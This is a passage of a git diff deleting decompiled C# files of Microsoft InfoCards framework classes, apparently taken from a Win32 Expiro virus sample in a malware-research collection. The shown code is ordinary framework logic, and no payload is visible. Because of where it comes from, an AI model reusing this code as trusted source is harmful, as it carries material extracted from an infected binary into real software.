this.m_selectedCard.Key.Length); - return this.m_token.DisplayToken; - } - finally - { - this.m_isProcessingComplete = true; - this.m_userProceededToCreateToken = true; - Monitor.Pulse(this.m_createSecurityTokenDoneMonitor); - } - } - } - - private LedgerEntry GetLedgerEntry() - { - LedgerEntry entry = (LedgerEntry) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - entry = this.m_selectedCard.TryGetLedgerEntry(connection, this.m_policy.Recipient.GetIdentifier()); - if (entry == null) - entry = this.m_selectedCard.CreateLedgerEntry(this.GetRecipient(), this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - else - this.m_selectedCard.CheckAndUpdateLedgerEntry(entry, this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - } - finally - { - connection.Close(); - } - return entry; - } - - public void SaveLedgerEntry() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_ledgerEntry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetUserPreferenceRequest.cs deleted file mode 100644 index 43ae691a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetUserPreferenceRequest.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class GetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreference; - - public GetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_userPreference = (UserPreference) null; - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_userPreference = UserPreference.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_userPreference == null) - return; - this.m_userPreference.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GlobalId.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GlobalId.cs deleted file mode 100644 index 0423197f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GlobalId.cs +++ /dev/null @@ -1,120 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GlobalId -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct GlobalId - { - public const int StructSize = 16; - public static readonly GlobalId Empty = (GlobalId) Guid.Empty; - private static readonly byte[] HASHPREFIX = new byte[16] - { - (byte) 126, - (byte) 85, - (byte) 219, - (byte) 17, - (byte) 52, - (byte) 221, - (byte) 70, - (byte) 150, - (byte) 168, - (byte) 123, - (byte) 15, - (byte) 254, - (byte) 196, - (byte) 77, - (byte) 155, - (byte) 168 - }; - - public GlobalId(byte[] guidBytes) - : this(new Guid(guidBytes)) - { - } - - public unsafe GlobalId(Guid guid) - { - fixed (GlobalId* globalIdPtr = &this) - *globalIdPtr = (GlobalId) guid; - } - - public byte[] ToByteArray() => ((Guid) this).ToByteArray(); - - public override int GetHashCode() => ((Guid) this).GetHashCode(); - - public override bool Equals(object obj) - { - switch (obj) - { - case GlobalId _: - case Guid _: - return (GlobalId) obj == this; - default: - return false; - } - } - - public override string ToString() => ((Guid) this).ToString("D"); - - public static bool operator !=(GlobalId a, GlobalId b) => !(a == b); - - public static unsafe bool operator ==(GlobalId a, GlobalId b) - { - byte* numPtr1 = (byte*) &a; - byte* numPtr2 = (byte*) &b; - for (int index = 0; index < sizeof (GlobalId); ++index) - { - if ((int) numPtr1[index] != (int) numPtr2[index]) - return false; - } - return true; - } - - public static unsafe implicit operator Guid(GlobalId id) => *(Guid*) &id; - - public static unsafe implicit operator GlobalId(Guid guid) => *(GlobalId*) &guid; - - public static GlobalId DeriveFrom(string value) - { - value = !string.IsNullOrEmpty(value) ? value.Trim() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - value = value.ToLower(CultureInfo.InvariantCulture); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray = new byte[Encoding.Unicode.GetByteCount(value) + GlobalId.HASHPREFIX.Length]; - Array.Copy((Array) GlobalId.HASHPREFIX, 0, (Array) numArray, 0, GlobalId.HASHPREFIX.Length); - Encoding.Unicode.GetBytes(value, 0, value.Length, numArray, GlobalId.HASHPREFIX.Length); - byte[] hash = shA256Managed.ComputeHash(numArray); - return new GlobalId(new byte[16] - { - hash[3], - hash[2], - hash[1], - hash[0], - hash[5], - hash[4], - hash[7], - (byte) ((int) hash[6] & 15 | 48), - (byte) ((int) hash[8] & 63 | 128), - hash[9], - hash[10], - hash[11], - hash[12], - hash[13], - hash[14], - hash[15] - }); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HandleDictionary`1.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HandleDictionary`1.cs deleted file mode 100644 index 6cd78f09..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HandleDictionary`1.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HandleDictionary`1 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class HandleDictionary - { - private const int m_MaxSessionCount = 1073741823; - private Dictionary m_internalDictionary; - private Random m_random; - - public int MaxSize => 1073741823; - - public TVal this[int Key] - { - get => this.m_internalDictionary[Key]; - set - { - if (!this.ContainsHandle(Key)) - throw InfoCardTrace.ThrowHelperError((Exception) new KeyNotFoundException()); - this.m_internalDictionary[Key] = value; - } - } - - public HandleDictionary() - { - this.m_internalDictionary = new Dictionary(); - this.m_random = new Random(); - } - - public int GetNewHandle() - { - if (this.m_internalDictionary.Count >= 1073741823) - throw InfoCardTrace.ThrowHelperError((Exception) new MaxSessionCountExceededException()); - int key = this.m_random.Next(); - while (this.m_internalDictionary.ContainsKey(key) || key == 0) - key = this.m_random.Next(); - this.m_internalDictionary[key] = default (TVal); - return key; - } - - public bool Remove(int key) => this.m_internalDictionary.Remove(key); - - public bool ContainsHandle(int key) => this.m_internalDictionary.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCoreRequest.cs deleted file mode 100644 index f7cf235b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCoreRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCoreRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - - public HashCoreRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashCore(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCryptoSession.cs deleted file mode 100644 index a235b97d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashCryptoSession.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCryptoSession : CryptoSession - { - private KeyedHashAlgorithm m_hash; - - public HashCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - KeyedHashAlgorithm hash) - : base(process, expiration, identity, (object) hash, CryptoSession.SessionType.Hash) - { - this.m_hash = hash; - } - - protected override void OnDispose() - { - this.m_hash.Clear(); - this.m_hash.Dispose(); - this.m_hash = (KeyedHashAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_hash.HashSize); - bwriter.Write(this.m_hash.InputBlockSize); - bwriter.Write(this.m_hash.OutputBlockSize); - bwriter.Write(this.m_hash.CanTransformMultipleBlocks); - bwriter.Write(this.m_hash.CanReuseTransform); - } - - public void HashCore(byte[] inData) => this.m_hash.TransformBlock(inData, 0, inData.Length, (byte[]) null, 0); - - public byte[] HashFinal(byte[] inData) - { - try - { - this.m_hash.TransformFinalBlock(inData, 0, inData.Length); - } - finally - { - this.m_hash.Initialize(); - } - return this.m_hash.Hash; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashFinalRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashFinalRequest.cs deleted file mode 100644 index fa6cac6c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashFinalRequest.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashFinalRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashFinalRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public HashFinalRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashFinal(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashUtility.cs deleted file mode 100644 index 28b659ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HashUtility.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal static class HashUtility - { - public const string HashAlgorithmName = "SHA256"; - private static object s_lock = new object(); - private static SHA256Managed s_hasher = new SHA256Managed(); - - public static int HashBitLength => HashUtility.s_hasher.HashSize; - - public static int HashBufferLength => HashUtility.HashBitLength / 8; - - public static void SetHashValue(byte[] data, int dataIndex, byte[] dataToHash) - { - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - HashUtility.SetHashValue(data, dataIndex, dataToHash, 0, dataToHash.Length); - } - - public static void SetHashValue( - byte[] data, - int dataIndex, - byte[] dataToHash, - int dataToHashIndex, - int dataToHashSize) - { - if (data == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - if (dataIndex < 0 || dataIndex >= data.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataIndex), (object) dataIndex, SR.GetString("StoreHashUtilityDataOutOfRange"))); - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - if (dataToHashIndex < 0 || dataToHashIndex > dataToHash.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - if (dataToHashSize < 0 || dataToHashSize > dataToHash.Length - dataToHashIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - byte[] sourceArray = (byte[]) null; - lock (HashUtility.s_lock) - sourceArray = HashUtility.s_hasher.ComputeHash(dataToHash, dataToHashIndex, dataToHashSize); - Array.Copy((Array) sourceArray, 0, (Array) data, dataIndex, sourceArray.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs deleted file mode 100644 index 8c1170f2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HttpProxyTransportBindingElement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Net; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class HttpProxyTransportBindingElement : TransportBindingElement - { - private HttpTransportBindingElement innerHttpTransport; - private IWebProxy proxy; - - public static BindingElementCollection ReplaceHttpTransportWithProxy( - BindingElementCollection bindingElements, - IWebProxy proxy, - bool turnOffClientAuthOnTransport) - { - int index1 = -1; - for (int index2 = 0; index2 < bindingElements.Count; ++index2) - { - if (bindingElements[index2] is HttpTransportBindingElement) - { - index1 = index2; - break; - } - } - if (index1 == -1) - return bindingElements; - InfoCardTrace.Assert(index1 == bindingElements.Count - 1, "Transport should be last in the Binding Element list"); - HttpTransportBindingElement bindingElement = (HttpTransportBindingElement) bindingElements[index1]; - if (turnOffClientAuthOnTransport) - bindingElement.AuthenticationScheme = AuthenticationSchemes.Anonymous; - HttpProxyTransportBindingElement transportBindingElement = new HttpProxyTransportBindingElement(proxy, bindingElement); - bindingElements[index1] = (BindingElement) transportBindingElement; - return bindingElements; - } - - private HttpProxyTransportBindingElement( - IWebProxy proxy, - HttpTransportBindingElement innerHttpTransport) - { - this.innerHttpTransport = innerHttpTransport; - this.proxy = proxy; - } - - private HttpProxyTransportBindingElement(HttpProxyTransportBindingElement elementToBeCloned) - : base((TransportBindingElement) elementToBeCloned) - { - this.innerHttpTransport = elementToBeCloned.innerHttpTransport; - this.proxy = elementToBeCloned.proxy; - } - - public override long MaxBufferPoolSize - { - get => this.innerHttpTransport.MaxBufferPoolSize; - set => this.innerHttpTransport.MaxBufferPoolSize = value; - } - - public override long MaxReceivedMessageSize - { - get => this.innerHttpTransport.MaxReceivedMessageSize; - set => this.innerHttpTransport.MaxReceivedMessageSize = value; - } - - public override string Scheme => this.innerHttpTransport.Scheme; - - public override IChannelFactory BuildChannelFactory( - BindingContext context) - { - this.innerHttpTransport.Proxy = this.proxy; - return this.innerHttpTransport.BuildChannelFactory(context); - } - - public override IChannelListener BuildChannelListener( - BindingContext context) - { - return this.innerHttpTransport.BuildChannelListener(context); - } - - public override bool CanBuildChannelFactory(BindingContext context) => this.innerHttpTransport.CanBuildChannelFactory(context); - - public override bool CanBuildChannelListener(BindingContext context) => this.innerHttpTransport.CanBuildChannelListener(context); - - public override BindingElement Clone() => (BindingElement) new HttpProxyTransportBindingElement(this); - - public override T GetProperty(BindingContext context) => this.innerHttpTransport.GetProperty(context); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IAccessibilityHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IAccessibilityHelper.cs deleted file mode 100644 index 94823c6e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IAccessibilityHelper.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IAccessibilityHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal interface IAccessibilityHelper - { - void Stop(); - - void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity); - - bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ICanonicalizer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ICanonicalizer.cs deleted file mode 100644 index 2aa85d07..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ICanonicalizer.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ICanonicalizer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal interface ICanonicalizer - { - bool CanCanonicalize(object obj); - - byte[] Canonicalize(object obj); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ITokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ITokenFactory.cs deleted file mode 100644 index 408e3ed8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ITokenFactory.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ITokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal interface ITokenFactory - { - void Abort(); - - TokenDescriptor CreateToken( - InfoCard card, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IdentityValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IdentityValidationException.cs deleted file mode 100644 index 86c18908..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IdentityValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IdentityValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class IdentityValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413885; - - public IdentityValidationException() - : base(-1073413885) - { - } - - public IdentityValidationException(string message) - : base(-1073413885, message) - { - } - - public IdentityValidationException(string message, Exception inner) - : base(-1073413885, message, inner) - { - } - - protected IdentityValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413885, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportException.cs deleted file mode 100644 index 64b1ab2b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportException : InfoCardBaseException - { - private const int HRESULT = -1073413884; - - public ImportException() - : base(-1073413884) - { - } - - public ImportException(string message) - : base(-1073413884, message) - { - } - - public ImportException(string message, Exception inner) - : base(-1073413884, message, inner) - { - } - - protected ImportException(SerializationInfo si, StreamingContext sc) - : base(-1073413884, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportFileRequest.cs deleted file mode 100644 index 